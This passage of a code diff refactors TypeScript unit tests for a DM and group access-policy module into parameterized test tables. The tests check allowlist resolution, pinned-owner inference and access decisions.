dmPolicy: "allowlist" as const, + }, + }, + { + name: "shouldRead=false", + params: { + provider: "demo-channel-b", + accountId: "default", + shouldRead: false, + }, + }, + ] as const)("skips pairing-store reads when $name", async ({ params }) => { + await expectStoreReadSkipped(params); }); it("builds effective DM/group allowlists from config + pairing store", () => { @@ -143,25 +148,27 @@ describe("security/dm-policy-shared", () => { expect(pinnedOwner).toBe("u123"); }); - it("does not infer pinned owner for wildcard/multi-owner/non-main scope", () => { + it.each([ + { + name: "wildcard allowlist", + dmScope: "main" as const, + allowFrom: ["*"], + }, + { + name: "multi-owner allowlist", + dmScope: "main" as const, + allowFrom: ["u123", "u456"], + }, + { + name: "non-main scope", + dmScope: "per-channel-peer" as const, + allowFrom: ["u123"], + }, + ] as const)("does not infer pinned owner for $name", ({ dmScope, allowFrom }) => { expect( resolvePinnedMainDmOwnerFromAllowlist({ - dmScope: "main", - allowFrom: ["*"], - normalizeEntry: (entry) => entry.trim(), - }), - ).toBeNull(); - expect( - resolvePinnedMainDmOwnerFromAllowlist({ - dmScope: "main", - allowFrom: ["u123", "u456"], - normalizeEntry: (entry) => entry.trim(), - }), - ).toBeNull(); - expect( - resolvePinnedMainDmOwnerFromAllowlist({ - dmScope: "per-channel-peer", - allowFrom: ["u123"], + dmScope, + allowFrom: [...allowFrom], normalizeEntry: (entry) => entry.trim(), }), ).toBeNull(); @@ -376,21 +383,30 @@ describe("security/dm-policy-shared", () => { ]; for (const channel of channels) { - for (const testCase of cases) { + for (const { + name, + isGroup, + dmPolicy, + groupPolicy, + allowFrom, + groupAllowFrom, + storeAllowFrom, + isSenderAllowed, + expectedDecision, + expectedReactionAllowed, + } of cases) { const access = resolveDmGroupAccessWithLists({ - isGroup: testCase.isGroup, - dmPolicy: testCase.dmPolicy, - groupPolicy: testCase.groupPolicy, - allowFrom: testCase.allowFrom, - groupAllowFrom: testCase.groupAllowFrom, - storeAllowFrom: testCase.storeAllowFrom, - isSenderAllowed: testCase.isSenderAllowed, + isGroup, + dmPolicy, + groupPolicy, + allowFrom, + groupAllowFrom, + storeAllowFrom, + isSenderAllowed, }); const reactionAllowed = access.decision === "allow"; - expect(access.decision, `[${channel}] ${testCase.name}`).toBe(testCase.expectedDecision); - expect(reactionAllowed, `[${channel}] ${testCase.name} reaction`).toBe( - testCase.expectedReactionAllowed, - ); + expect(access.decision, `[${channel}] ${name}`).toBe(expectedDecision); + expect(reactionAllowed, `[${channel}] ${name} reaction`).toBe(expectedReactionAllowed); } } });